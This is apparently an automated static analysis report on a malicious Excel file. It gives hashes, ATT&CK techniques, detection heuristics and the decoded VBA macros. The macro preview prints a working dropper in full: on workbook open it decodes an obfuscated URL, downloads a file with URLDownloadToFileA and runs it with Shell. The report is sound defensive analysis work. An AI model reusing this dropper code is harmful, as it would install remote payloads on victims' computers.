Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ad016f147efb177…

MALICIOUS

Office (OLE)

42.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: 33c5ad38ad766d4e748ee3752fc4c292 SHA-1: 4d189247ddc142be6b705eeb6afd387f4d96432c SHA-256: 2ad016f147efb177bc5af4a1d3f643d2e813e8e31543fc262feafc05154c0f53
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Excel file containing VBA macros. The Workbook_Open macro is configured to execute a VBA script that utilizes the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload from a remote source. The presence of the Shell call and URLDownloadToFile API firings strongly suggest this dropper functionality.

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-1668907 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1668907
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    j_W8 = Shell(R4_t, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal sdfFFF As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    mog4O4d49 vxRuzMJsFffGPcDYCb("h^twtIpo:G/u/3jea4cIe>kahAolnMdbemlf.|w9.UidngtyeBr8iqau.Op[lЂ/,j|sT/KbLiInS.6eCxQeq"), Environ(vxRuzMJsFffGPcDYCb("TgMJPW")) & vxRuzMJsFffGPcDYCb("\eG…HUjSkrd_fdgT.„eXx/e+")

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6048 bytes
SHA-256: 30e951bb9867f9ea9de407635183f93160698f58629316fb61d23128831976b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
jQ5
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module1"

Public Function vxRuzMJsFffGPcDYCb(AUKBPaIIvwQgsU As String) As String
GoTo jvLMiktQy
jvLMiktQy:
GoTo YexFubVVUa
YexFubVVUa:
For SrJVJGASPnQ = 1 To Len(AUKBPaIIvwQgsU) Step 2
GoTo pPBRUYPoRwgcQlcS
pPBRUYPoRwgcQlcS:
GoTo ZZMyawIQEV
ZZMyawIQEV:
GoTo maQQjhDZxDzLOdzA
maQQjhDZxDzLOdzA:
GoTo OsHauNHxdmnlqbTbFSR
OsHauNHxdmnlqbTbFSR:
GoTo ogETMxfh
ogETMxfh:
vxRuzMJsFffGPcDYCb = vxRuzMJsFffGPcDYCb & Mid(AUKBPaIIvwQgsU, SrJVJGASPnQ, 1)
GoTo wGcpdOq
wGcpdOq:
Next
GoTo UmYcCdoiA
UmYcCdoiA:
GoTo pOGCNfuPDMkfIKrKQZN
pOGCNfuPDMkfIKrKQZN:
GoTo DBGekrVjiyCEw
DBGekrVjiyCEw:
GoTo dNvxRuzM
dNvxRuzM:
GoTo FffGPcDYCb
FffGPcDYCb:
GoTo tEyQzQGQQSfvKRTdAv
tEyQzQGQQSfvKRTdAv:
End Function


Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "dfgfdg"
#If VBA7 Then
    Private Declare PtrSafe Function FnjkHBKJBl Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal sdfFFF As LongPtr, _
    ByVal kJNJKBl As String, _
    ByVal ghjVFF As String, _
    ByVal BGgdhF As Long, _
    ByVal VVgfh As LongPtr) As LongPtr
#Else
    Private Declare Function FnjkHBKJBl Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal sdfFFF As Long, _
    ByVal kJNJKBl As String, _
    ByVal ghjVFF As String, _
    ByVal BGgdhF As Long, _
    ByVal VVgfh As Long) As Long
#End If
Sub jQ5()
mog4O4d49 vxRuzMJsFffGPcDYCb("h^twtIpo:G/u/3jea4cIe>kahAolnMdbemlf.|w9.UidngtyeBr8iqau.Op[lЂ/,j|sT/KbLiInS.6eCxQeq"), Environ(vxRuzMJsFffGPcDYCb("TgMJPW")) & vxRuzMJsFffGPcDYCb("\eG…HUjSkrd_fdgT.„eXx/e+")
End Sub
Function mog4O4d49(Mh9_094suu As String, R4_t As String) As Boolean
vJHKBJdfkgfg = FnjkHBKJBl(0&, Mh9_094suu, R4_t, 0&, 0&)
Dim j_W8
j_W8 = Shell(R4_t, 1)
End Function





Attribute VB_Name = "Class7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module2"

Attribute VB_Name = "Class8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class10"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False